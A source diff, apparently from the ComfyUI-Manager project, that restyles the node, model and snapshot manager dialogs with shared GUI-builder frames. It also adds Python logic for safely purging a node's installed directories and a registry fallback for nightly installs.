let groupNodes = p.workflow.extra?.groupNodes;
|
||||
if(groupNodes) {
|
||||
p.workflow.extra = { ... p.workflow.extra};
|
||||
|
||||
// get used group nodes
|
||||
let used_group_nodes = new Set();
|
||||
for(let node of p.workflow.nodes) {
|
||||
if(node.type.startsWith(`workflow/`) || node.type.startsWith(`workflow${SEPARATOR}`)) {
|
||||
used_group_nodes.add(node.type.substring(9));
|
||||
}
|
||||
}
|
||||
|
||||
// remove unused group nodes
|
||||
let new_groupNodes = {};
|
||||
for (let key in p.workflow.extra.groupNodes) {
|
||||
if (used_group_nodes.has(key)) {
|
||||
new_groupNodes[key] = p.workflow.extra.groupNodes[key];
|
||||
}
|
||||
}
|
||||
p.workflow.extra.groupNodes = new_groupNodes;
|
||||
}
|
||||
}
|
||||
catch(e) {
|
||||
console.log(`Failed to filtering group nodes: ${e}`);
|
||||
}
|
||||
|
||||
return p;
|
||||
}
|
||||
@@ -1,8 +1,9 @@
|
||||
.cn-manager {
|
||||
--grid-font: -apple-system, BlinkMacSystemFont, "Segue UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
|
||||
--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
|
||||
z-index: 1099;
|
||||
width: 80%;
|
||||
height: 80%;
|
||||
width: 80vw;
|
||||
height: 75vh;
|
||||
min-height: 30em;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
@@ -10,6 +11,7 @@
|
||||
font-family: arial, sans-serif;
|
||||
text-underline-offset: 3px;
|
||||
outline: none;
|
||||
margin: calc(var(--spacing)*2);
|
||||
}
|
||||
|
||||
.cn-manager .cn-flex-auto {
|
||||
@@ -17,17 +19,21 @@
|
||||
}
|
||||
|
||||
.cn-manager button {
|
||||
width: auto;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 16px;
|
||||
color: var(--input-text);
|
||||
background-color: var(--comfy-input-bg);
|
||||
border-radius: 8px;
|
||||
border-color: var(--border-color);
|
||||
border-style: solid;
|
||||
margin: 0;
|
||||
padding: 4px 8px;
|
||||
min-width: 100px;
|
||||
}
|
||||
|
||||
.cn-manager button:hover {
|
||||
filter: brightness(125%);
|
||||
}
|
||||
|
||||
.cn-manager button:disabled,
|
||||
.cn-manager input:disabled,
|
||||
.cn-manager select:disabled {
|
||||
@@ -40,8 +46,13 @@
|
||||
|
||||
.cn-manager .cn-manager-restart {
|
||||
display: none;
|
||||
background-color: #500000;
|
||||
color: white;
|
||||
background-color: #500000 !important;
|
||||
border-color: #88181b !important;
|
||||
color: white !important;
|
||||
}
|
||||
|
||||
.cn-manager .cn-manager-restart:hover {
|
||||
background-color: #88181b !important;
|
||||
}
|
||||
|
||||
.cn-manager .cn-manager-stop {
|
||||
@@ -79,7 +90,6 @@
|
||||
flex-wrap: wrap;
|
||||
gap: 5px;
|
||||
align-items: center;
|
||||
padding: 0 5px;
|
||||
}
|
||||
|
||||
.cn-manager-header label {
|
||||
@@ -91,16 +101,32 @@
|
||||
.cn-manager-filter {
|
||||
height: 28px;
|
||||
line-height: 28px;
|
||||
|
||||
cursor: pointer;
|
||||
padding: 0.5em 0.5em;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
background: var(--comfy-input-bg);
|
||||
}
|
||||
|
||||
.cn-manager-filter:hover {
|
||||
filter: brightness(125%);
|
||||
}
|
||||
|
||||
.cn-manager-keywords {
|
||||
height: 28px;
|
||||
line-height: 28px;
|
||||
padding: 0 5px 0 26px;
|
||||
background: var(--comfy-input-bg);
|
||||
background-size: 16px;
|
||||
background-position: 5px center;
|
||||
background-repeat: no-repeat;
|
||||
background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20width%3D%22100%25%22%20height%3D%22100%25%22%20pointer-events%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23888%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%20stroke-width%3D%222%22%20d%3D%22m21%2021-4.486-4.494M19%2010.5a8.5%208.5%200%201%201-17%200%208.5%208.5%200%200%201%2017%200%22%2F%3E%3C%2Fsvg%3E");
|
||||
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
|
||||
outline-color: transparent;
|
||||
}
|
||||
|
||||
.cn-manager-status {
|
||||
@@ -588,6 +614,10 @@
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.cn-install-buttons button {
|
||||
padding: 4px 8px;
|
||||
}
|
||||
|
||||
.cn-selected-buttons {
|
||||
display: flex;
|
||||
gap: 5px;
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { ComfyDialog, $el } from "../../scripts/ui.js";
|
||||
import { api } from "../../scripts/api.js";
|
||||
import { buildGuiFrameCustomHeader, createSettingsCombo } from "./comfyui-gui-builder.js";
|
||||
|
||||
import {
|
||||
manager_instance, rebootAPI, install_via_git_url,
|
||||
@@ -18,32 +19,19 @@ loadCss("./custom-nodes-manager.css");
|
||||
const gridId = "node";
|
||||
|
||||
const pageHtml = `
|
||||
<div class="cn-manager-header">
|
||||
<label>Filter
|
||||
<select class="cn-manager-filter"></select>
|
||||
</label>
|
||||
<input class="cn-manager-keywords" type="search" placeholder="Search" />
|
||||
<div class="cn-manager-status"></div>
|
||||
<div class="cn-flex-auto"></div>
|
||||
<div class="cn-manager-channel"></div>
|
||||
</div>
|
||||
<div class="cn-manager-grid"></div>
|
||||
<div class="cn-manager-selection"></div>
|
||||
<div class="cn-manager-message"></div>
|
||||
<div class="cn-manager-footer">
|
||||
<button class="cn-manager-back">
|
||||
<svg class="arrow-icon" width="14" height="14" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M2 8H18M2 8L8 2M2 8L8 14" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
</svg>
|
||||
Back
|
||||
</button>
|
||||
<button class="cn-manager-restart">Restart</button>
|
||||
<button class="cn-manager-stop">Stop</button>
|
||||
<div class="cn-flex-auto"></div>
|
||||
<button class="cn-manager-used-in-workflow">Used In Workflow</button>
|
||||
<button class="cn-manager-check-update">Check Update</button>
|
||||
<button class="cn-manager-check-missing">Check Missing</button>
|
||||
<button class="cn-manager-install-url">Install via Git URL</button>
|
||||
<div class="cn-manager cn-manager-dark">
|
||||
<div class="cn-manager-grid"></div>
|
||||
<div class="cn-manager-selection"></div>
|
||||
<div class="cn-manager-message"></div>
|
||||
<div class="cn-manager-footer">
|
||||
<button class="cn-manager-restart p-button p-component">Restart</button>
|
||||
<button class="cn-manager-stop p-button p-component">Stop</button>
|
||||
<div class="cn-flex-auto"></div>
|
||||
<button class="cn-manager-used-in-workflow p-button p-component">Used In Workflow</button>
|
||||
<button class="cn-manager-check-update p-button p-component">Check Update</button>
|
||||
<button class="cn-manager-check-missing p-button p-component">Check Missing</button>
|
||||
<button class="cn-manager-install-url p-button p-component">Install via Git URL</button>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
|
||||
@@ -89,11 +77,26 @@ export class CustomNodesManager {
|
||||
}
|
||||
|
||||
init() {
|
||||
this.element = $el("div", {
|
||||
parent: document.body,
|
||||
className: "comfy-modal cn-manager"
|
||||
});
|
||||
this.element.innerHTML = pageHtml;
|
||||
const header = $el("div.cn-manager-header.px-2", {}, [
|
||||
// $el("label", {}, [
|
||||
// $el("span", { textContent: "Filter" }),
|
||||
// $el("select.cn-manager-filter")
|
||||
// ]),
|
||||
createSettingsCombo("Filter", $el("select.cn-manager-filter")),
|
||||
$el("input.cn-manager-keywords.p-inputtext.p-component", { type: "search", placeholder: "Search" }),
|
||||
$el("div.cn-manager-status"),
|
||||
$el("div.cn-flex-auto"),
|
||||
$el("div.cn-manager-channel")
|
||||
]);
|
||||
|
||||
const frame = buildGuiFrameCustomHeader(
|
||||
'cn-manager-dialog', // dialog id
|
||||
header, // custom header element
|
||||
pageHtml, // dialog content element
|
||||
this
|
||||
); // send this so we can attach close functions
|
||||
|
||||
this.element = frame;
|
||||
this.element.setAttribute("tabindex", 0);
|
||||
this.element.focus();
|
||||
|
||||
@@ -372,7 +375,7 @@ export class CustomNodesManager {
|
||||
|
||||
return list.map(id => {
|
||||
const bt = buttons[id];
|
||||
return `<button class="cn-btn-${id}" group="${action}" mode="${bt.mode}">${bt.label}</button>`;
|
||||
return `<button class="cn-btn-${id} p-button p-component" group="${action}" mode="${bt.mode}">${bt.label}</button>`;
|
||||
}).join("");
|
||||
}
|
||||
|
||||
@@ -655,7 +658,6 @@ export class CustomNodesManager {
|
||||
}
|
||||
|
||||
renderGrid() {
|
||||
|
||||
// update theme
|
||||
const globalStyle = window.getComputedStyle(document.body);
|
||||
this.colorVars = {
|
||||
|
||||
@@ -1,13 +1,15 @@
|
||||
.cmm-manager {
|
||||
--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
|
||||
z-index: 1099;
|
||||
width: 80%;
|
||||
height: 80%;
|
||||
width: 80vw;
|
||||
height: 75vh;
|
||||
min-height: 30em;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
color: var(--fg-color);
|
||||
font-family: arial, sans-serif;
|
||||
margin: calc(var(--spacing)*2);
|
||||
}
|
||||
|
||||
.cmm-manager .cmm-flex-auto {
|
||||
@@ -18,14 +20,15 @@
|
||||
font-size: 16px;
|
||||
color: var(--input-text);
|
||||
background-color: var(--comfy-input-bg);
|
||||
border-radius: 8px;
|
||||
border-color: var(--border-color);
|
||||
border-style: solid;
|
||||
margin: 0;
|
||||
padding: 4px 8px;
|
||||
min-width: 100px;
|
||||
}
|
||||
|
||||
.cmm-manager button:hover {
|
||||
filter: brightness(125%);
|
||||
}
|
||||
|
||||
.cmm-manager button:disabled,
|
||||
.cmm-manager input:disabled,
|
||||
.cmm-manager select:disabled {
|
||||
@@ -38,7 +41,7 @@
|
||||
|
||||
.cmm-manager .cmm-manager-refresh {
|
||||
display: none;
|
||||
background-color: #000080;
|
||||
background-color: #000080 !important;
|
||||
color: white;
|
||||
}
|
||||
|
||||
@@ -53,7 +56,6 @@
|
||||
flex-wrap: wrap;
|
||||
gap: 5px;
|
||||
align-items: center;
|
||||
padding: 0 5px;
|
||||
}
|
||||
|
||||
.cmm-manager-header label {
|
||||
@@ -67,16 +69,34 @@
|
||||
.cmm-manager-filter {
|
||||
height: 28px;
|
||||
line-height: 28px;
|
||||
|
||||
cursor: pointer;
|
||||
padding: 0.5em 0.5em;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
background: var(--comfy-input-bg);
|
||||
}
|
||||
|
||||
.cmm-manager-type:hover,
|
||||
.cmm-manager-base:hover,
|
||||
.cmm-manager-filter:hover {
|
||||
filter: brightness(125%);
|
||||
}
|
||||
|
||||
.cmm-manager-keywords {
|
||||
height: 28px;
|
||||
line-height: 28px;
|
||||
padding: 0 5px 0 26px;
|
||||
background: var(--comfy-input-bg);
|
||||
background-size: 16px;
|
||||
background-position: 5px center;
|
||||
background-repeat: no-repeat;
|
||||
background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%2024%2024%22%20width%3D%22100%25%22%20height%3D%22100%25%22%20pointer-events%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill%3D%22none%22%20stroke%3D%22%23888%22%20stroke-linecap%3D%22round%22%20stroke-linejoin%3D%22round%22%20stroke-width%3D%222%22%20d%3D%22m21%2021-4.486-4.494M19%2010.5a8.5%208.5%200%201%201-17%200%208.5%208.5%200%200%201%2017%200%22%2F%3E%3C%2Fsvg%3E");
|
||||
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
|
||||
outline-color: transparent;
|
||||
}
|
||||
|
||||
.cmm-manager-status {
|
||||
@@ -148,6 +168,10 @@
|
||||
color: white;
|
||||
}
|
||||
|
||||
.cmm-btn-install {
|
||||
padding: 4px 8px;
|
||||
}
|
||||
|
||||
.cmm-btn-download {
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
|
||||
@@ -9,39 +9,22 @@ import { api } from "../../scripts/api.js";
|
||||
|
||||
// https://cenfun.github.io/turbogrid/api.html
|
||||
import TG from "./turbogrid.esm.js";
|
||||
import { buildGuiFrameCustomHeader, createSettingsCombo } from "./comfyui-gui-builder.js";
|
||||
|
||||
loadCss("./model-manager.css");
|
||||
|
||||
const gridId = "model";
|
||||
|
||||
const pageHtml = `
|
||||
<div class="cmm-manager-header">
|
||||
<label>Filter
|
||||
<select class="cmm-manager-filter"></select>
|
||||
</label>
|
||||
<label>Type
|
||||
<select class="cmm-manager-type"></select>
|
||||
</label>
|
||||
<label>Base
|
||||
<select class="cmm-manager-base"></select>
|
||||
</label>
|
||||
<input class="cmm-manager-keywords" type="search" placeholder="Search" />
|
||||
<div class="cmm-manager-status"></div>
|
||||
<div class="cmm-flex-auto"></div>
|
||||
</div>
|
||||
<div class="cmm-manager-grid"></div>
|
||||
<div class="cmm-manager-selection"></div>
|
||||
<div class="cmm-manager-message"></div>
|
||||
<div class="cmm-manager-footer">
|
||||
<button class="cmm-manager-back">
|
||||
<svg class="arrow-icon" width="14" height="14" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M2 8H18M2 8L8 2M2 8L8 14" stroke="white" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
</svg>
|
||||
Back
|
||||
</button>
|
||||
<button class="cmm-manager-refresh">Refresh</button>
|
||||
<button class="cmm-manager-stop">Stop</button>
|
||||
<div class="cmm-flex-auto"></div>
|
||||
<div class="cmm-manager cmm-manager-dark">
|
||||
<div class="cmm-manager-grid"></div>
|
||||
<div class="cmm-manager-selection"></div>
|
||||
<div class="cmm-manager-message"></div>
|
||||
<div class="cmm-manager-footer">
|
||||
<button class="cmm-manager-refresh p-button p-component">Refresh</button>
|
||||
<button class="cmm-manager-stop p-button p-component">Stop</button>
|
||||
<div class="cmm-flex-auto"></div>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
|
||||
@@ -64,11 +47,23 @@ export class ModelManager {
|
||||
}
|
||||
|
||||
init() {
|
||||
this.element = $el("div", {
|
||||
parent: document.body,
|
||||
className: "comfy-modal cmm-manager"
|
||||
});
|
||||
this.element.innerHTML = pageHtml;
|
||||
const header = $el("div.cmm-manager-header", {}, [
|
||||
createSettingsCombo("Filter", $el("select.cmm-manager-filter")),
|
||||
createSettingsCombo("Type", $el("select.cmm-manager-type")),
|
||||
createSettingsCombo("Base", $el("select.cmm-manager-base")),
|
||||
$el("input.cmm-manager-keywords.p-inputtext.p-component", { type: "search", placeholder: "Search" }),
|
||||
$el("div.cmm-manager-status"),
|
||||
$el("div.cmm-flex-auto")
|
||||
]);
|
||||
|
||||
const frame = buildGuiFrameCustomHeader(
|
||||
'cmm-manager-dialog', // dialog id
|
||||
header, // custom header element
|
||||
pageHtml, // dialog content element
|
||||
this
|
||||
); // send this so we can attach close functions
|
||||
|
||||
this.element = frame;
|
||||
this.initFilter();
|
||||
this.bindEvents();
|
||||
this.initGrid();
|
||||
@@ -347,7 +342,7 @@ export class ModelManager {
|
||||
if (installed === "True") {
|
||||
return `<div class="cmm-icon-passed">${icons.passed}</div>`;
|
||||
}
|
||||
return `<button class="cmm-btn-install" mode="install">Install</button>`;
|
||||
return `<button class="cmm-btn-install p-button p-component" mode="install">Install</button>`;
|
||||
}
|
||||
}, {
|
||||
id: 'url',
|
||||
@@ -420,7 +415,7 @@ export class ModelManager {
|
||||
}
|
||||
|
||||
this.selectedModels = selectedList;
|
||||
this.showSelection(`<span>Selected <b>${selectedList.length}</b> models <button class="cmm-btn-install" mode="install">Install</button>`);
|
||||
this.showSelection(`<span>Selected <b>${selectedList.length}</b> models <button class="cmm-btn-install p-button p-component" mode="install">Install</button>`);
|
||||
}
|
||||
|
||||
focusInstall(item) {
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
.snapshot-manager {
|
||||
--grid-font: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";
|
||||
z-index: 1099;
|
||||
width: 80vw;
|
||||
height: 75vh;
|
||||
min-height: 30em;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
color: var(--fg-color);
|
||||
font-family: arial, sans-serif;
|
||||
text-underline-offset: 3px;
|
||||
outline: none;
|
||||
margin: calc(var(--spacing)*2);
|
||||
}
|
||||
|
||||
.snapshot-manager button {
|
||||
width: auto;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
font-size: 16px;
|
||||
color: var(--input-text);
|
||||
background-color: var(--comfy-input-bg);
|
||||
border-color: var(--border-color);
|
||||
margin: 0;
|
||||
min-width: 100px;
|
||||
padding: 4px 8px;
|
||||
}
|
||||
|
||||
.snapshot-manager .snapshot-restore-btn {
|
||||
background-color: #00158f !important;
|
||||
border-color: #2025b9 !important;
|
||||
color: white !important;
|
||||
}
|
||||
|
||||
.snapshot-manager .snapshot-remove-btn {
|
||||
background-color: #970000 !important;
|
||||
border-color: #be2127 !important;
|
||||
color: white !important;
|
||||
}
|
||||
|
||||
.snapshot-manager button:hover {
|
||||
filter: brightness(125%);
|
||||
}
|
||||
|
||||
.snapshot-manager .data-btns {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: calc(var(--spacing)*2);
|
||||
padding: calc(var(--spacing)*2);
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.snapshot-footer {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 10px;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.snapshot-manager .cn-flex-auto {
|
||||
flex: auto;
|
||||
}
|
||||
@@ -1,8 +1,10 @@
|
||||
import { app } from "../../scripts/app.js";
|
||||
import { api } from "../../scripts/api.js"
|
||||
import { ComfyDialog, $el } from "../../scripts/ui.js";
|
||||
import { manager_instance, rebootAPI, show_message } from "./common.js";
|
||||
import { manager_instance, rebootAPI, show_message, loadCss } from "./common.js";
|
||||
import { buildGuiFrame } from "./comfyui-gui-builder.js";
|
||||
|
||||
loadCss("./snapshot.css");
|
||||
|
||||
async function restore_snapshot(target) {
|
||||
if(SnapshotManager.instance) {
|
||||
@@ -27,7 +29,7 @@ async function restore_snapshot(target) {
|
||||
}
|
||||
finally {
|
||||
await SnapshotManager.instance.invalidateControl();
|
||||
SnapshotManager.instance.updateMessage("<BR>To apply the snapshot, please <button id='cm-reboot-button2' class='cm-small-button'>RESTART</button> ComfyUI. And refresh browser.", 'cm-reboot-button2');
|
||||
SnapshotManager.instance.updateMessage("<BR>To apply the snapshot, please <button id='cm-reboot-button2' class='p-button p-component'>RESTART</button> ComfyUI. And refresh browser.", 'cm-reboot-button2');
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -88,6 +90,8 @@ export class SnapshotManager extends ComfyDialog {
|
||||
message_box = null;
|
||||
data = null;
|
||||
|
||||
content = $el("div.snapshot-manager");
|
||||
|
||||
clear() {
|
||||
this.restore_buttons = [];
|
||||
this.message_box = null;
|
||||
@@ -96,9 +100,18 @@ export class SnapshotManager extends ComfyDialog {
|
||||
|
||||
constructor(app, manager_dialog) {
|
||||
super();
|
||||
this.manager_dialog = manager_dialog;
|
||||
// this.manager_dialog = manager_dialog;
|
||||
this.search_keyword = '';
|
||||
this.element = $el("div.comfy-modal", { parent: document.body }, []);
|
||||
|
||||
const frame = buildGuiFrame(
|
||||
'snapshot-manager-dialog', // dialog id
|
||||
'Snapshot Manager', // title
|
||||
'i.mdi.mdi-puzzle', // icon class
|
||||
this.content, // dialog content element
|
||||
this
|
||||
); // send this so we can attach close functions
|
||||
|
||||
this.element = frame;
|
||||
}
|
||||
|
||||
async remove_item() {
|
||||
@@ -109,7 +122,7 @@ export class SnapshotManager extends ComfyDialog {
|
||||
|
||||
createControls() {
|
||||
return [
|
||||
$el("button.cm-small-button", {
|
||||
$el("button.p-button.p-component", {
|
||||
type: "button",
|
||||
textContent: "Close",
|
||||
onclick: () => { this.close(); }
|
||||
@@ -132,8 +145,8 @@ export class SnapshotManager extends ComfyDialog {
|
||||
this.clear();
|
||||
this.data = (await getSnapshotList()).items;
|
||||
|
||||
while (this.element.children.length) {
|
||||
this.element.removeChild(this.element.children[0]);
|
||||
while (this.content.children.length) {
|
||||
this.content.removeChild(this.content.children[0]);
|
||||
}
|
||||
|
||||
await this.createGrid();
|
||||
@@ -204,20 +217,21 @@ export class SnapshotManager extends ComfyDialog {
|
||||
data2.innerHTML = ` ${data}`;
|
||||
var data_button = document.createElement('td');
|
||||
data_button.style.textAlign = "center";
|
||||
data_button.className = "data-btns";
|
||||
|
||||
var restoreBtn = document.createElement('button');
|
||||
restoreBtn.className = "snapshot-restore-btn p-button p-component";
|
||||
restoreBtn.innerHTML = 'Restore';
|
||||
restoreBtn.style.width = "100px";
|
||||
restoreBtn.style.backgroundColor = 'blue';
|
||||
|
||||
restoreBtn.addEventListener('click', function() {
|
||||
restore_snapshot(data);
|
||||
});
|
||||
|
||||
var removeBtn = document.createElement('button');
|
||||
removeBtn.className = "snapshot-remove-btn p-button p-component";
|
||||
removeBtn.innerHTML = 'Remove';
|
||||
removeBtn.style.width = "100px";
|
||||
removeBtn.style.backgroundColor = 'red';
|
||||
|
||||
removeBtn.addEventListener('click', function() {
|
||||
remove_snapshot(data);
|
||||
@@ -241,13 +255,14 @@ export class SnapshotManager extends ComfyDialog {
|
||||
let self = this;
|
||||
const panel = document.createElement('div');
|
||||
panel.style.width = "100%";
|
||||
panel.style.height = "100%";
|
||||
panel.appendChild(grid);
|
||||
|
||||
function handleResize() {
|
||||
const parentHeight = self.element.clientHeight;
|
||||
const gridHeight = parentHeight - 200;
|
||||
|
||||
grid.style.height = gridHeight + "px";
|
||||
// grid.style.height = gridHeight + "px";
|
||||
}
|
||||
window.addEventListener("resize", handleResize);
|
||||
|
||||
@@ -256,25 +271,17 @@ export class SnapshotManager extends ComfyDialog {
|
||||
grid.style.width = "100%";
|
||||
grid.style.height = "100%";
|
||||
grid.style.overflowY = "scroll";
|
||||
this.element.style.height = "85%";
|
||||
this.element.style.width = "80%";
|
||||
this.element.appendChild(panel);
|
||||
|
||||
this.content.appendChild(panel);
|
||||
|
||||
handleResize();
|
||||
}
|
||||
|
||||
async createBottomControls() {
|
||||
var close_button = document.createElement("button");
|
||||
close_button.className = "cm-small-button";
|
||||
close_button.innerHTML = "Close";
|
||||
close_button.onclick = () => { this.close(); }
|
||||
close_button.style.display = "inline-block";
|
||||
|
||||
var save_button = document.createElement("button");
|
||||
save_button.className = "cm-small-button";
|
||||
save_button.className = "p-button p-component";
|
||||
save_button.innerHTML = "Save snapshot";
|
||||
save_button.onclick = () => { save_current_snapshot(); }
|
||||
save_button.style.display = "inline-block";
|
||||
save_button.style.horizontalAlign = "right";
|
||||
save_button.style.width = "170px";
|
||||
|
||||
@@ -282,15 +289,19 @@ export class SnapshotManager extends ComfyDialog {
|
||||
this.message_box.style.height = '60px';
|
||||
this.message_box.style.verticalAlign = 'middle';
|
||||
|
||||
this.element.appendChild(this.message_box);
|
||||
this.element.appendChild(close_button);
|
||||
this.element.appendChild(save_button);
|
||||
const footer = $el("div.snapshot-footer");
|
||||
const spacer = $el("div.cn-flex-auto");
|
||||
footer.appendChild(spacer);
|
||||
footer.appendChild(save_button);
|
||||
|
||||
this.content.appendChild(this.message_box);
|
||||
this.content.appendChild(footer);
|
||||
}
|
||||
|
||||
async show() {
|
||||
try {
|
||||
this.invalidateControl();
|
||||
this.element.style.display = "block";
|
||||
this.element.style.display = "flex";
|
||||
this.element.style.zIndex = 1099;
|
||||
}
|
||||
catch(exception) {
|
||||
|
||||
@@ -15,6 +15,7 @@ import platform
|
||||
from datetime import datetime
|
||||
|
||||
import git
|
||||
from comfyui_manager.common.timestamp_utils import get_timestamp_for_path, get_backup_branch_name
|
||||
from git.remote import RemoteProgress
|
||||
from urllib.parse import urlparse
|
||||
from tqdm.auto import tqdm
|
||||
@@ -41,12 +42,15 @@ from ..common.enums import NetworkMode, SecurityLevel, DBMode
|
||||
from ..common import context
|
||||
|
||||
|
||||
version_code = [5, 0]
|
||||
version_code = [4, 1]
|
||||
version_str = f"V{version_code[0]}.{version_code[1]}" + (f'.{version_code[2]}' if len(version_code) > 2 else '')
|
||||
|
||||
|
||||
DEFAULT_CHANNEL = "https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main"
|
||||
DEFAULT_CHANNEL_LEGACY = "https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main"
|
||||
|
||||
# SSH git URL pattern (e.g., git@github.com:user/repo.git)
|
||||
SSH_URL_PATTERN = re.compile(r"^(.+@|ssh://).+:.+$")
|
||||
|
||||
default_custom_nodes_path = None
|
||||
|
||||
@@ -160,7 +164,7 @@ comfy_ui_revision = "Unknown"
|
||||
comfy_ui_commit_datetime = datetime(1900, 1, 1, 0, 0, 0)
|
||||
|
||||
channel_dict = None
|
||||
valid_channels = {'default', 'local'}
|
||||
valid_channels = {'default', 'local', DEFAULT_CHANNEL, DEFAULT_CHANNEL_LEGACY}
|
||||
channel_list = None
|
||||
|
||||
|
||||
@@ -1131,6 +1135,71 @@ class UnifiedManager:
|
||||
|
||||
return result
|
||||
|
||||
def purge_node_state(self, node_id: str):
|
||||
"""
|
||||
Remove a node's directory and clean ALL internal dictionaries regardless of categorization.
|
||||
Used by reinstall to guarantee clean state before re-installation.
|
||||
"""
|
||||
if 'comfyui-manager' in node_id.lower():
|
||||
return
|
||||
|
||||
custom_nodes_dir = os.path.normcase(os.path.realpath(get_default_custom_nodes_path()))
|
||||
paths_to_remove = set()
|
||||
|
||||
def _add_path(raw_path):
|
||||
"""Normalize and validate a path before adding to removal set."""
|
||||
if not raw_path:
|
||||
return
|
||||
resolved = os.path.normcase(os.path.realpath(raw_path))
|
||||
if resolved == custom_nodes_dir:
|
||||
logging.warning(f"[ComfyUI-Manager] purge_node_state: refusing to delete custom_nodes root: {raw_path}")
|
||||
return
|
||||
try:
|
||||
if os.path.commonpath([custom_nodes_dir, resolved]) != custom_nodes_dir:
|
||||
logging.warning(f"[ComfyUI-Manager] purge_node_state: path escapes custom_nodes scope, skipping: {raw_path}")
|
||||
return
|
||||
except ValueError:
|
||||
logging.warning(f"[ComfyUI-Manager] purge_node_state: cannot verify containment, skipping: {raw_path}")
|
||||
return
|
||||
paths_to_remove.add(resolved)
|
||||
|
||||
# Collect paths from all dictionaries
|
||||
entry = self.unknown_active_nodes.get(node_id)
|
||||
if entry is not None:
|
||||
_add_path(entry[1])
|
||||
|
||||
entry = self.active_nodes.get(node_id)
|
||||
if entry is not None:
|
||||
_add_path(entry[1])
|
||||
|
||||
entry = self.unknown_inactive_nodes.get(node_id)
|
||||
if entry is not None:
|
||||
_add_path(entry[1])
|
||||
|
||||
fullpath = self.nightly_inactive_nodes.get(node_id)
|
||||
if fullpath is not None:
|
||||
_add_path(fullpath)
|
||||
|
||||
ver_map = self.cnr_inactive_nodes.get(node_id)
|
||||
if ver_map is not None:
|
||||
for key, fp in ver_map.items():
|
||||
_add_path(fp)
|
||||
|
||||
# Convention-based fallback path
|
||||
_add_path(os.path.join(get_default_custom_nodes_path(), node_id))
|
||||
|
||||
# Remove all validated paths, then always clean dictionaries
|
||||
try:
|
||||
for path in paths_to_remove:
|
||||
if os.path.exists(path):
|
||||
try_rmtree(node_id, path)
|
||||
finally:
|
||||
self.unknown_active_nodes.pop(node_id, None)
|
||||
self.active_nodes.pop(node_id, None)
|
||||
self.unknown_inactive_nodes.pop(node_id, None)
|
||||
self.nightly_inactive_nodes.pop(node_id, None)
|
||||
self.cnr_inactive_nodes.pop(node_id, None)
|
||||
|
||||
def unified_uninstall(self, node_id: str, is_unknown: bool):
|
||||
"""
|
||||
Remove whole installed custom nodes including inactive nodes
|
||||
@@ -1390,6 +1459,7 @@ class UnifiedManager:
|
||||
return ManagedResult('skip')
|
||||
elif self.is_disabled(node_id):
|
||||
return self.unified_enable(node_id)
|
||||
|
||||
else:
|
||||
version_spec = self.resolve_unspecified_version(node_id)
|
||||
|
||||
@@ -1406,8 +1476,18 @@ class UnifiedManager:
|
||||
else: # nightly
|
||||
repo_url = the_node['repository']
|
||||
else:
|
||||
result = ManagedResult('install')
|
||||
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
|
||||
# Fallback for nightly only: use repository URL from CNR map
|
||||
# when node is registered in CNR but absent from nightly manifest
|
||||
if version_spec == 'nightly':
|
||||
cnr_fallback = self.cnr_map.get(node_id)
|
||||
if cnr_fallback is not None and cnr_fallback.get('repository'):
|
||||
repo_url = cnr_fallback['repository']
|
||||
else:
|
||||
result = ManagedResult('install')
|
||||
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
|
||||
else:
|
||||
result = ManagedResult('install')
|
||||
return result.fail(f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]")
|
||||
|
||||
if self.is_enabled(node_id, version_spec):
|
||||
return ManagedResult('skip').with_target(f"{node_id}@{version_spec}")
|
||||
@@ -1574,9 +1654,6 @@ class ManagerFuncs:
|
||||
